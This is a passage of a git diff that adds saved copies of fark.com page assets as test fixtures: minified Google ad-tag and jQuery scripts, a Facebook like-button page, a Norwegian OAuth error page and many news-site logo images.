+adsense_font_face:"google_font_face",adsense_font_size:"google_font_size",adsense_hints:"google_hints",adsense_host:"google_ad_host",adsense_host_channel:"google_ad_host_channel",adsense_host_tier_id:"google_ad_host_tier_id",adsense_keyword_type:"google_kw_type",adsense_keywords:"google_kw",adsense_line_color:"google_line_color",adsense_link_color:"google_color_link",adsense_relevant_content:"google_contents",adsense_reuse_colors:"google_reuse_colors",adsense_targeting:"google_targeting" [...]
+adsense_test_mode:"google_adtest",adsense_text_color:"google_color_text",adsense_ui_features:"google_ui_features",adsense_ui_version:"google_ui_version",adsense_url_color:"google_color_url",alternate_ad_iframe_color:"google_alternate_color",alternate_ad_url:"google_alternate_ad_url",demographic_age:"google_cust_age",demographic_ch:"google_cust_ch",demographic_gender:"google_cust_gender",demographic_interests:"google_cust_interests",demographic_job:"google_cust_job",demographic_l:"google_ [...]
+demographic_u_url:"google_cust_u_url",demographic_unique_id:"google_cust_id",document_language:"google_language",geography_override_city:"google_city",geography_override_country:"google_country",geography_override_region:"google_region",page_url:"google_page_url"};
+Z.prototype.ha=function(){if(this.f){if(!this.u){var a=document,b=a.createElement("script");V();b.async=g;b.type="text/javascript";b.src=this.n();(a=a.getElementsByTagName("head")[0]||a.getElementsByTagName("body")[0])?(this.log.info("Fetching GPT implementation",this),a.appendChild(b),this.u=g):this.log.error("Unable to fetch GPT implementation",this)}}else $a(this)};Z.prototype.getName=function(){return"publisher_ads"};Z.prototype.n=function(){return(Na()?"https:":"http:")+"//partner.g [...]
+var $a=function(a){var b=V();!a.u&&!b.S&&(b=document,a.u=g,b.write('<script type="text/javascript" src="'+Ma(a.n())+'"><\/script>'))};
+Z.prototype.vb=function(){V();var a=w().impl;if(a&&a.pubads){this.a=a.pubads;this.log.info("GPT implementation fetched.",this);this.ka||this.a.disableFetch();this.I&&this.a.collapseEmptyDivs();if(this.s){this.f?this.a.enableAsyncSingleRequest():this.a.enableSingleRequest();ab(this);for(var a=this.k(),b=0;b<a.length;++b)bb(this,a[b])}else this.f&&this.a.enableAsyncRendering();this.ja&&this.a.disableInitialLoad();cb(this);if(0<this.j.length)for(b=0;b<this.j.length;++b)this.G(this.j[b]);if( [...]
+0;b<this.H.length;++b)Ya(this,this.H[b])}else this.log.error("Unable to fetch pubads service implementation from "+this.n(),this)};Z.prototype.Y=function(a){this.f||(a.P=j);R.prototype.Y.call(this,a)};
+Z.prototype.G=function(a){if(V().S&&!this.f)this.log.error("Attempting to display ad in sync mode after page load is complete.",this);else if(this.a){if(ab(this),this.s||bb(this,a))this.log.info("Calling fillslot"),this.a.fillSlot(a)}else if(this.f||this.u&&0==this.j.length){for(var b=j,c=0;c<this.j.length;++c)a===this.j[c]&&(b=g);b||(this.log.info("Delaying rendering of ad slot "+a.getName()+" pending loading of the GPT implementation",this,a),this.j.push(a))}else this.log.error("Skippi [...]
+a.getName()+" due to missing GPT implementaition",this,a)};
+var bb=function(a,b){if(a.a&&a.a.addSlot(b)==h)return a.log.error("Unable to process name for slot "+b.getName(),a,b),j;for(var c=b.A(),d=0;d<c.length;++d)c[d]in Za?a.a.addAdSenseSlotAttribute(b,Za[c[d]],b.get(c[d])):C(a.log,"Ignoring unknown pubads attribute "+c[d]+" with value "+b.get(c[d])+" for slot "+b.getName(),a,b);if(s(a.a.addSlotTargeting)){var c=[],f;for(f in b.d)s(b.d[f])||c.push(f);for(f=0;f<c.length;++f)a.a.addSlotTargeting(b,c[f],c[f]in b.d?b.d[c[f]]:[])}b.U()&&s(a.a.Qa)&&a [...]
+return g},ab=function(a){if(!a.ma){a.ma=g;for(var b=a.A(),c=0;c<b.length;++c)b[c]in Za?a.a.addAdSensePageAttribute(Za[b[c]],a.get(b[c])):C(a.log,"Ignoring unknown pubads attribute "+b[c]+" with value "+a.get(b[c]),a);a.a.addAdSensePageAttribute("google_tag_info","v2");for(var d in a.d)if(b=a.d[d],n(b))for(c=0;c<b.length;++c)a.a.addAttribute(d,b[c]);s(a.a.setPublisherProvidedId)&&a.a.setPublisherProvidedId(a.na);a.Q&&a.a.setLocation(a.Q);a.a.setCenterAds!==e&&a.a.setCenterAds(a.la)}};k=Z. [...]
+k.r=function(a,b){var c=[];q(b)?c.push(b):c=b;var d=[" targeting attribute ",a," with value ",c.join()," for service ",this.getName()].join("");a&&q(a)?(this.d[a]=c,this.log.info("Setting"+d,this)):C(this.log,"Unable to set"+d,this);return this};k.tb=function(){this.a?C(this.log,"Ignoring noFetch since the pubads service is already enabled",this):this.ka=j};k.disableInitialLoad=function(){this.a?C(this.log,"Ignoring disableInitialLoad since the pubads service is already enabled",this):th [...]
+k.enableSingleRequest=function(){this.isEnabled()&&!this.s?C(this.log,"Ignoring change to single request mode since the service is already enabled",this):(this.log.info("Using single request mode to fetch ads",this),this.s=g);return this.s};k.enableAsyncRendering=function(){this.isEnabled()&&!this.f?C(this.log,"Ignoring change to async-rendering mode since the service is already enabled",this):(this.log.info("Using async-rendering mode to fetch ads",this),this.f=g);return this.f};
+k.$a=function(){if(this.isEnabled()&&this.f)C(this.log,"Ignoring change to async-rendering mode since the service is already enabled",this);else{this.log.info("Using sync-rendering mode to fetch ads",this);this.f=j;for(var a=this.k(),b=0;b<a.length;++b)a[b].P=j}return!this.f};k.yb=function(a){this.log.info("Setting centering to "+a,this);this.la=a};
+k.setPublisherProvidedId=function(a){this.isEnabled()?C(this.log,"Ignoring change to PPID since the service is already enabled. Not setting: "+a,this):(this.log.info("Setting PPID to "+a,this),this.na=a);return this};k.Ya=function(a,b){return new Y(a,b,this)};var Ya=function(a,b){$a(a);a.a?s(a.a.passback)?a.a.passback(b):a.log.error("The GPT impl does not yet support passbacks.",a,b):(a.log.info("Delaying passback of ad slot "+b.getName()+" pending loading of the GPT implementation",a,b) [...]
+k=Z.prototype;
+k.refresh=function(a){if(a&&!n(a))C(this.log,"Slots to refresh must be an array.",this);else if(this.a){var b=h;if(a){for(var b=[],c=0;c<a.length;++c){var d=a[c];d instanceof P?b.push(d):C(this.log,"Slot object at position "+c+" is of incorrect type.",this)}if(!b.length){this.log.error("No valid slot ids found, refresh aborted.",this);return}}this.log.info("Refreshing ads",this);this.a.refresh(b)}else C(this.log,"The ads cannot be refreshed because the GPT implementation Javascript is no [...]
+k.za=function(a,b,c,d,f,l,p,y){if(a&&!n(a))C(this.log,"Slots to refresh must be an array.",this);else if(b&&!r(b))C(this.log,"Correlator must be a number.",this);else if(c&&!q(c))C(this.log,"Pstok must be a string.",this);else if(d&&!q(d))C(this.log,"Video IU must be a string.",this);else if(f&&!n(f))C(this.log,"Video IU sizes must be an array.",this);else if(l&&!r(l))C(this.log,"Pod number must be a number.",this);else if(p&&!r(p))C(this.log,"Pod position must be a number.",this);else i [...]
+typeof y)C(this.log,"Persistent roadblocks only must be a boolean.",this);else if(this.a){var A=h;if(a){for(var A=[],u=0;u<a.length;++u){var v=a[u];v instanceof P?A.push(v):C(this.log,"Slot object at position "+u+" is of incorrect type.",this)}if(!A.length){this.log.error("No valid slot ids found, refresh aborted.",this);return}}if(f)for(u=0;u<f.length;++u){a=f[u];if(!n(a)||2!=a.length){this.log.error("Video size array must have only two values, refresh aborted.",this);return}for(v=0;v<a [...]
+this);return}}this.log.info("Refreshing ads",this);this.a.refresh(A,b,c,d,f,l,p,y)}else C(this.log,"The ads cannot be refreshed because the GPT implementation Javascript is not yet loaded.",this)};k.ab=function(){this.R=g;cb(this)};k.Ab=function(a,b){this.R=g;this.pa=a;this.oa=b;cb(this)};k.rb=function(){return!this.a||this.a.getVideoContentInformation==h?h:this.a.getVideoContentInformation()};var cb=function(a){a.R&&(a.a&&a.a.setVideoContentInformation)&&a.a.setVideoContentInformation(a [...]
+k=Z.prototype;k.getCorrelator=function(){return 0==this.k().length?"not_available":!this.a?"not_loaded":this.a.getCorrelator==h?"not_available":this.a.getCorrelator()};k.getVideoStreamCorrelator=function(){if(!this.a||this.a.getVideoStreamCorrelator==h)return 0;var a=this.a.getVideoStreamCorrelator();return isNaN(a)?0:a};k.isAdRequestFinished=function(){return!this.a?j:this.a.isAdRequestFinished!=h?this.a.isAdRequestFinished():h};
+k.isSlotAPersistentRoadblock=function(a){return this.a&&this.a.isSlotAPersistentRoadblock!=h?this.a.isSlotAPersistentRoadblock(a):j};k.collapseEmptyDivs=function(){this.I?C(this.log,"Ignoring subsequent call to set div collapse mode (already set)",this):this.isEnabled()?C(this.log,"Ignoring change to div collapse mode since the service is already enabled",this):(this.log.info("Enabling collapsing of containers when there is no ad content",this),this.I=g);return this.I};
+k.clear=function(){if(!this.a)return C(this.log,"The slot contents cannot be cleared because the GPT implementation Javascript is not yet loaded.",this),j;if(this.a.clearSlotContents!=h)return this.log.info("Clearing slot contents.",this),this.a.clearSlotContents();C(this.log,"The GPT implementation does not yet support clearing slots.");return j};
+k.clearNoRefreshState=function(){this.a?this.a.clearNoRefreshState!=h?(this.log.info("Clearing no_refresh state.",this),this.a.clearNoRefreshState()):C(this.log,"The GPT implementation does not yet support clearNoRefreshState"):C(this.log,"The no_refresh state cannot be cleared because the GPT implementation Javascript is not yet loaded.",this)};k.clearSlotTargeting=function(a){this.a&&s(this.a.clearSlotTargeting)&&this.a.clearSlotTargeting(a)};
+k.ta=function(a,b,c){this.a&&s(this.a.addSlotTargeting)&&this.a.addSlotTargeting(a,b,c)};
+k.setLocation=function(a,b,c){var d="role:1 producer:12";if(b!==e){if(!r(a)||!r(b))return C(this.log,"Latitude and longitude are expected to be numbers"),this;d+=" latlng{ latitude_e7: "+Math.round(1E7*a)+" longitude_e7: "+Math.round(1E7*b)+"}";if(c!==e){if(isNaN(c))return C(this.log,"Radius is expected to be a number"),this;d+=" radius:"+Math.round(c)}}else 50<a.length&&(b=a.substring(0,50),C(this.log,"Location: "+a+" is longer than 50. Truncating it to"+b+"."),a=b),d+=' loc:"'+a+'"';if [...]
+else{a=d;d=[];for(c=b=0;c<a.length;c++){for(var f=a.charCodeAt(c);255<f;)d[b++]=f&255,f>>=8;d[b++]=f}if(!ba(d))throw Error("encodeByteArray takes an array as a parameter");if(!Wa){Wa={};for(a=0;65>a;a++)Wa[a]="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=".charAt(a)}a=Wa;b=[];for(c=0;c<d.length;c+=3){var l=d[c],p=(f=c+1<d.length)?d[c+1]:0,y=c+2<d.length,A=y?d[c+2]:0,u=l>>2,l=(l&3)<<4|p>>4,p=(p&15)<<2|A>>6,A=A&63;y||(A=64,f||(p=64));b.push(a[u],a[l],a[p],a[A])}d=b.join [...]
+"a "+d;return this};k.getVersion=function(){return!this.a?e:this.a.getVersion==h?"unversioned":this.a.getVersion()};x("pubads",function(){var a=V(),b=a.find("publisher_ads");b||(b=new Z,a.add(b));return b});Z.prototype.clear=Z.prototype.clear;Z.prototype.clearNoRefreshState=Z.prototype.clearNoRefreshState;Z.prototype.collapseEmptyDivs=Z.prototype.collapseEmptyDivs;Z.prototype.definePassback=Z.prototype.Ya;Z.prototype.enableAsyncRendering=Z.prototype.enableAsyncRendering;
+Z.prototype.enableSingleRequest=Z.prototype.enableSingleRequest;Z.prototype.enableSyncRendering=Z.prototype.$a;Z.prototype.enableVideoAds=Z.prototype.ab;Z.prototype.getCorrelator=Z.prototype.getCorrelator;Z.prototype.getVideoContent=Z.prototype.rb;Z.prototype.getVideoStreamCorrelator=Z.prototype.getVideoStreamCorrelator;Z.prototype.isAdRequestFinished=Z.prototype.isAdRequestFinished;Z.prototype.isSlotAPersistentRoadblock=Z.prototype.isSlotAPersistentRoadblock;Z.prototype.noFetch=Z.prototype.tb;
+Z.prototype.onGoogleAdsJsLoad=Z.prototype.vb;Z.prototype.refresh=Z.prototype.refresh;Z.prototype.setLocation=Z.prototype.setLocation;Z.prototype.setTargeting=Z.prototype.r;Z.prototype.setVideoContent=Z.prototype.Ab;Z.prototype.getVersion=Z.prototype.getVersion;Z.prototype.videoRefresh=Z.prototype.za;Z.prototype.setCentering=Z.prototype.yb;Z.prototype.setPublisherProvidedId=Z.prototype.setPublisherProvidedId;var db=/#|$/,eb=function(a,b){var c=a.search(db),d;a:{d=0;for(var f=b.length;0<=( [...]
+ha(window,function(){if(fb()){var a=document,b=a.createElement("script");b.type="text/javascript";b.src=(Na()?"https:":"http:")+"//publisherconsole.appspot.com/js/loader.js";b.async=g;(a=a.getElementsByTagName("script")[0])&&a.parentNode&&a.parentNode.insertBefore(b,a)}});x("disablePublisherConsole",function(){w()._pubconsole_disable_=g});x("getVersion",function(){return"14"});var $=w().cmd;if(!$||n($)){var gb=w().cmd=new F;$&&0<$.length&&gb.push.apply(gb,$)}(function(){var a=document.ge [...]
diff --git a/src/test/resources/s/Filer_for_fark/hawaiinewsnow.jpg b/src/test/resources/s/Filer_for_fark/hawaiinewsnow.jpg
new file mode 100644
index 0000000..a265ec0
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/hawaiinewsnow.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/huffingtonpost.png b/src/test/resources/s/Filer_for_fark/huffingtonpost.png
new file mode 100644
index 0000000..24c068e
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/huffingtonpost.png differ
diff --git a/src/test/resources/s/Filer_for_fark/io9.jpg b/src/test/resources/s/Filer_for_fark/io9.jpg
new file mode 100644
index 0000000..433916d
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/io9.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/jquery-farktools.js b/src/test/resources/s/Filer_for_fark/jquery-farktools.js
new file mode 100644
index 0000000..4f8b43d
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/jquery-farktools.js
@@ -0,0 +1,2 @@
+/*! jQuery v1.7.1 jquery.com | jquery.org/license */
+(function(a,b){function cy(a){return f.isWindow(a)?a:a.nodeType===9?a.defaultView||a.parentWindow:!1}function cv(a){if(!ck[a]){var b=c.body,d=f("<"+a+">").appendTo(b),e=d.css("display");d.remove();if(e==="none"||e===""){cl||(cl=c.createElement("iframe"),cl.frameBorder=cl.width=cl.height=0),b.appendChild(cl);if(!cm||!cl.createElement){cm=(cl.contentWindow||cl.contentDocument).document,cm.write((c.compatMode==="CSS1Compat"?"<!doctype html>":"")+"<html><body>"),cm.close()}d=cm.createElement [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/kansas.gif b/src/test/resources/s/Filer_for_fark/kansas.gif
new file mode 100644
index 0000000..5172024
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/kansas.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/kmovstlouis.jpg b/src/test/resources/s/Filer_for_fark/kmovstlouis.jpg
new file mode 100644
index 0000000..034d6fd
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/kmovstlouis.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/kotaku.gif b/src/test/resources/s/Filer_for_fark/kotaku.gif
new file mode 100644
index 0000000..2e1ded3
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/kotaku.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/ktrk.jpg b/src/test/resources/s/Filer_for_fark/ktrk.jpg
new file mode 100644
index 0000000..02dfa4d
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/ktrk.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/ktvb.jpg b/src/test/resources/s/Filer_for_fark/ktvb.jpg
new file mode 100644
index 0000000..e1800ce
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/ktvb.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/lifecom.jpg b/src/test/resources/s/Filer_for_fark/lifecom.jpg
new file mode 100644
index 0000000..971c7f8
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/lifecom.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/lifelogo.png b/src/test/resources/s/Filer_for_fark/lifelogo.png
new file mode 100644
index 0000000..64cab10
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/lifelogo.png differ
diff --git a/src/test/resources/s/Filer_for_fark/like.htm b/src/test/resources/s/Filer_for_fark/like.htm
new file mode 100644
index 0000000..be90d1c
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/like.htm
@@ -0,0 +1,96 @@
+<!DOCTYPE html>
+<html id="facebook" class="no_js" lang="en"><head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8"><meta charset="utf-8"><meta name="robots" content="noodp, noydir"><meta name="referrer" content="default" id="meta_referrer"><meta name="description" content="Facebook is a social utility that connects people with friends and others who work, study and live around them. People use Facebook to keep up with friends, upload an unlimited number of photos, post links and videos, and learn more about the people they meet."><scr [...]
+h1, h2, h3, h4, h5, h6{font-size:13px;color:#333;margin:0;padding:0}
+h1{font-size:14px}
+h4, h5, h6{font-size:11px}
+p{margin:1em 0}
+a{cursor:pointer;color:#3b5998;-moz-outline-style:none;text-decoration:none}
+button{margin:0}
+a:hover{text-decoration:underline}
+img{border:0}
+td, td.label{font-size:11px;text-align:left}
+dd{color:#000}
+dt{color:#777}
+ul{list-style-type:none;margin:0;padding:0}
+abbr{border-bottom:none}
+hr{background:#d9d9d9;border-width:0;color:#d9d9d9;height:1px}.clearfix:after{clear:both;content:".";display:block;font-size:0;height:0;line-height:0;visibility:hidden}
+.clearfix{zoom:1}
+.datawrap{word-wrap:break-word}
+.word_break{display:inline-block}
+.ellipsis{overflow:hidden;text-overflow:ellipsis;white-space:nowrap}
+.img_loading{position:absolute;top:-9999999px}
+.aero{opacity:.5}
+.column{float:left}
+.center{margin-left:auto;margin-right:auto}
+#facebook .hidden_elem{display:none !important}
+#facebook .invisible_elem{visibility:hidden}
+#facebook .accessible_elem{left:-9999px;position:absolute}
+.direction_ltr{direction:ltr}
+.direction_rtl{direction:rtl}
+.text_align_ltr{text-align:left}
+.text_align_rtl{text-align:right}.uiGrid{border:0;border-collapse:collapse;border-spacing:0}
+.uiGridFixed{table-layout:fixed;width:100%}
+.uiGrid .vTop{vertical-align:top}
+.uiGrid .vMid{vertical-align:middle}
+.uiGrid .vBot{vertical-align:bottom}
+.uiGrid .hLeft{text-align:left}
+.uiGrid .hCent{text-align:center}
+.uiGrid .hRght{text-align:right}.pluginErrorLink{color:#f03d25}.fss{font-size:9px}
+.fsm{font-size:11px}
+.fsl{font-size:13px}
+.fsxl{font-size:16px}
+.fsxxl{font-size:18px}
+.fwn{font-weight:normal}
+.fwb{font-weight:bold}
+.fcb{color:#333}
+.fcg{color:gray}form{margin:0;padding:0}
+label{cursor:pointer;color:#666;font-weight:bold;vertical-align:middle}
+label input{font-weight:normal}
+textarea, .inputtext, .inputpassword{border:1px solid #bdc7d8;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-size:11px;margin:0;padding:3px}
+textarea{max-width:100%}
+select{border:1px solid #bdc7d8;font-family:'lucida grande',tahoma,verdana,arial,sans-serif;font-size:11px;padding:2px}
+.inputtext, .inputpassword{padding-bottom:4px}
+.inputtext:invalid, .inputpassword:invalid{box-shadow:none}
+.ff4.mac .inputtext, .ff4.mac .inputpassword{padding-bottom:3px}
+.inputradio{padding:0;margin:0 5px 0 0;vertical-align:middle}
+.inputcheckbox{border:0;vertical-align:middle}
+.inputbutton, .inputsubmit{border-style:solid;border-width:1px;border-color:#d9dfea #0e1f5b #0e1f5b #d9dfea;background-color:#3b5998;color:#fff;padding:2px 15px 3px 15px;text-align:center}
+.inputsubmit_disabled{background-color:#999;border-bottom:1px solid #000;border-right:1px solid #666;color:#fff}
+.inputaux{background:#f0f0f0;border-color:#e7e7e7 #666 #666 #e7e7e7;color:#000}
+.inputaux_disabled{color:#999}
+.inputsearch{background:#fff url(http://static.ak.fbcdn.net/rsrc.php/v2/y7/x/IJYgcESal33.png) no-repeat left 4px;padding-left:17px}.pluginButton{background:#eceef5;border-radius:3px;border:1px solid #cad4e7;cursor:pointer;padding:2px 6px 4px;white-space:nowrap;color:#3b5998}
+.pluginButtonInline{display:inline-block}
+.pluginButtonX{cursor:default}
+.pluginButton button{background:transparent;border:0;margin:-1px;padding:0;font:inherit;color:inherit;cursor:pointer}
+.pluginButton button::-moz-focus-inner{border:0;padding:0}
+.pluginButtonIcon{position:relative;top:3px;margin-right:3px}
+.pluginButtonSmall{padding:0 5px 2px 5px}
+.pluginButtonSmall .pluginButtonIcon{margin-right:2px}
+.pluginButton:hover{border-color:#9dacce}
+.pluginButtonPressed, .pluginButtonPressed:hover{background-color:#eee;border-color:#ddd;color:#aaa}
+.pluginSkinDark .pluginButton{background-color:#c7c7c7;border-color:#999;color:#333}
+.pluginSkinDark .pluginButton:hover{background-color:#d9d9d9;border-color:#ddd}
+.pluginSkinDark .pluginButtonPressed, .pluginSkinDark .pluginButtonPressed:hover{background-color:#444;border-color:#555;color:#666}
+.pluginButtonErrorLink{color:#a00;font-weight:bold}
+.pluginButtonX .pluginButtonXOff, .pluginButtonX button:hover .pluginButtonXOn{display:inline-block}
+.pluginButtonX .pluginButtonXOn, .pluginButtonX button:hover .pluginButtonXOff{display:none}
+.pluginButton .pluginButtonThrobber, form.async_saving .pluginButtonIconWithThrobber{display:none}
+form.async_saving .pluginButtonThrobber{display:inline-block;margin-top:2px;margin-bottom:1px;max-width:14px}.pluginCountButton{background:#fff;border:1px solid #c1c1c1;height:14px;line-height:14px;margin-left:6px;min-width:15px;padding:1px 2px;text-align:center;white-space:nowrap}
+.pluginCountButtonNub{height:0;left:2px;position:relative;top:-14px;width:5px;z-index:2}
+.pluginCountButtonNub s, .pluginCountButtonNub i{border-color:transparent #D7D7D7 transparent;border-style:solid;border-width:4px 5px 4px 0;display:block;position:relative;top:1px}
+.pluginCountButtonNub i{border-right-color:#fff;left:2px;top:-7px}
+.pluginCountButtonDark{background:#d7d7d7;border-color:#d7d7d7;color:#333}
+.pluginCountButtonDarkNub i{display:none}.pluginCountTextConnected,
+.pluginCountConnected .pluginCountTextDisconnected{display:none}
+.pluginCountConnected .pluginCountTextConnected{display:inline}.sp_like{background-image:url(http://static.ak.fbcdn.net/rsrc.php/v2/yI/x/1dQf_ATK831.png);background-repeat:no-repeat;display:inline-block;height:14px;width:14px}
+.sx_like_fav{background-position:-0px -0px}
+.sx_like_ch{background-position:-0px -15px}
+.sx_like_x{background-position:-0px -30px}
+.sx_like_thumb{background-position:-0px -45px}i.img{-ms-high-contrast-adjust:none;_overflow:hidden}
+i.img u{position:absolute;top:-9999999px}</style><script>var ServerJSQueue=(function(){var a=[],b;return {add:function(c){if(b){b.handle(c);}else a.push(c);},run:function(){if(!window.require)return;b=new (window.require('ServerJS'))();for(var c=0;c<a.length;c++)b.handle(a[c]);}};}());document.write=function(){};var onloadRegister_DEPRECATED=function(){},onafterloadRegister_DEPRECATED=function(){},AsyncLoader=(function(){var a=false,b=false,c={loaded:1,complete:1},d=function(){},e=docume [...]
+
+
+ServerJSQueue.add({"instances":[["m_0_1",["PluginConnectButton","m_0_0"],[{"plugin":"like","identifier":"https:\/\/www.facebook.com\/farkdotcom","connected":false,"canpersonalize":false,"autosubmit":false,"form":{"__m":"m_0_0"}}],1]],"elements":[["m_0_0","u_0_1",2],["m_0_2","u_0_1",2],["m_0_3","u_0_2",2]],"define":[["XDUnverifiedChannel",[],{"channel":"http:\/\/static.ak.facebook.com\/connect\/xd_arbiter.php?version=18#cb=f377c279d4bb4de&origin=http\u00253A\u00252F\u00252Fwww.fark.com\u0 [...]
+
+</script></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/livescience.gif b/src/test/resources/s/Filer_for_fark/livescience.gif
new file mode 100644
index 0000000..98071df
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/livescience.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/ll.gif b/src/test/resources/s/Filer_for_fark/ll.gif
new file mode 100644
index 0000000..223706a
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/ll.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/mcall.jpg b/src/test/resources/s/Filer_for_fark/mcall.jpg
new file mode 100644
index 0000000..9a17525
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/mcall.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/minfarkstyle_new_15553.css b/src/test/resources/s/Filer_for_fark/minfarkstyle_new_15553.css
new file mode 100644
index 0000000..b64b7d5
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/minfarkstyle_new_15553.css
@@ -0,0 +1 @@
+html,body,div,span,object,iframe,pre,abbr,address,cite,code,del,dfn,em,img,ins,kbd,q,samp,small,strong,sub,sup,var,b,i,dl,dt,dd,ol,ul,li,fieldset,form,label,legend,table,caption,tbody,tfoot,thead,tr,th,td,article,aside,canvas,details,figcaption,figure,#footer,#header,hgroup,menu,nav,section,summary,time,mark,audio,video{margin:0;padding:0;border:0;font-size:100%;font:inherit;vertical-align:baseline}article,aside,details,figcaption,figure,#footer,#header,hgroup,menu,nav,section{display:bl [...]
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/mlivecom.gif b/src/test/resources/s/Filer_for_fark/mlivecom.gif
new file mode 100644
index 0000000..e7c6c49
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/mlivecom.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/mothernaturenetwork.jpg b/src/test/resources/s/Filer_for_fark/mothernaturenetwork.jpg
new file mode 100644
index 0000000..7c4135a
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/mothernaturenetwork.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/msn.gif b/src/test/resources/s/Filer_for_fark/msn.gif
new file mode 100644
index 0000000..afd8a6e
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/msn.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/nbcnews.jpg b/src/test/resources/s/Filer_for_fark/nbcnews.jpg
new file mode 100644
index 0000000..b4f2c79
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/nbcnews.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/newyorkdailynews.gif b/src/test/resources/s/Filer_for_fark/newyorkdailynews.gif
new file mode 100644
index 0000000..6e697ee
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/newyorkdailynews.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/npr.png b/src/test/resources/s/Filer_for_fark/npr.png
new file mode 100644
index 0000000..57523b3
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/npr.png differ
diff --git a/src/test/resources/s/Filer_for_fark/nycaviation.jpg b/src/test/resources/s/Filer_for_fark/nycaviation.jpg
new file mode 100644
index 0000000..fbb2585
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/nycaviation.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/nytimes.gif b/src/test/resources/s/Filer_for_fark/nytimes.gif
new file mode 100644
index 0000000..461fb87
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/nytimes.gif differ
diff --git a/src/test/resources/s/Filer_for_fark/oauth.htm b/src/test/resources/s/Filer_for_fark/oauth.htm
new file mode 100644
index 0000000..697fcbd
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/oauth.htm
@@ -0,0 +1,7 @@
+<html><head>
+<meta http-equiv="content-type" content="text/html; charset=UTF-8"></head><body><div><span>Angitt
+ URL-adresse er ikke tillatt av applikasjonskonfigurasjonen.: En eller
+flere av de angitte URL-adressene er ikke tillatt av
+applikasjonsinnstillingene. De må samsvare med nettstedets eller
+landingssidens URL-adresse, eller domenet må være et underdomene til et
+av applikasjonens domener.</span><script>if (typeof console !=="undefined" && console.log) console.log("Angitt URL-adresse er ikke tillatt av applikasjonskonfigurasjonen.: En eller flere av de angitte URL-adressene er ikke tillatt av applikasjonsinnstillingene. De m\u00e5 samsvare med nettstedets eller landingssidens URL-adresse, eller domenet m\u00e5 v\u00e6re et underdomene til et av applikasjonens domener.");</script></div></body></html>
\ No newline at end of file
diff --git a/src/test/resources/s/Filer_for_fark/opposingviews.jpg b/src/test/resources/s/Filer_for_fark/opposingviews.jpg
new file mode 100644
index 0000000..78a3c1f
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/opposingviews.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/orlandosentinel.jpg b/src/test/resources/s/Filer_for_fark/orlandosentinel.jpg
new file mode 100644
index 0000000..14b774c
Binary files /dev/null and b/src/test/resources/s/Filer_for_fark/orlandosentinel.jpg differ
diff --git a/src/test/resources/s/Filer_for_fark/osd.js b/src/test/resources/s/Filer_for_fark/osd.js
new file mode 100644
index 0000000..5de1bd8
--- /dev/null
+++ b/src/test/resources/s/Filer_for_fark/osd.js
@@ -0,0 +1,28 @@
+(function(){var m=void 0,n=!0,p=null,q=!1,r=this,aa=function(a){var b=typeof a;if("object"==b)if(a){if(a instanceof Array)return"array";if(a instanceof Object)return b;var c=Object.prototype.toString.call(a);if("[object Window]"==c)return"object";if("[object Array]"==c||"number"==typeof a.length&&"undefined"!=typeof a.splice&&"undefined"!=typeof a.propertyIsEnumerable&&!a.propertyIsEnumerable("splice"))return"array";if("[object Function]"==c||"undefined"!=typeof a.call&&"undefined"!=type [...]
+!a.propertyIsEnumerable("call"))return"function"}else return"null";else if("function"==b&&"undefined"==typeof a.call)return"object";return b},ca=function(a,b,c){return a.call.apply(a.bind,arguments)},da=function(a,b,c){if(!a)throw Error();if(2<arguments.length){var e=Array.prototype.slice.call(arguments,2);return function(){var c=Array.prototype.slice.call(arguments);Array.prototype.unshift.apply(c,e);return a.apply(b,c)}}return function(){return a.apply(b,arguments)}},u=function(a,b,c){ [...]
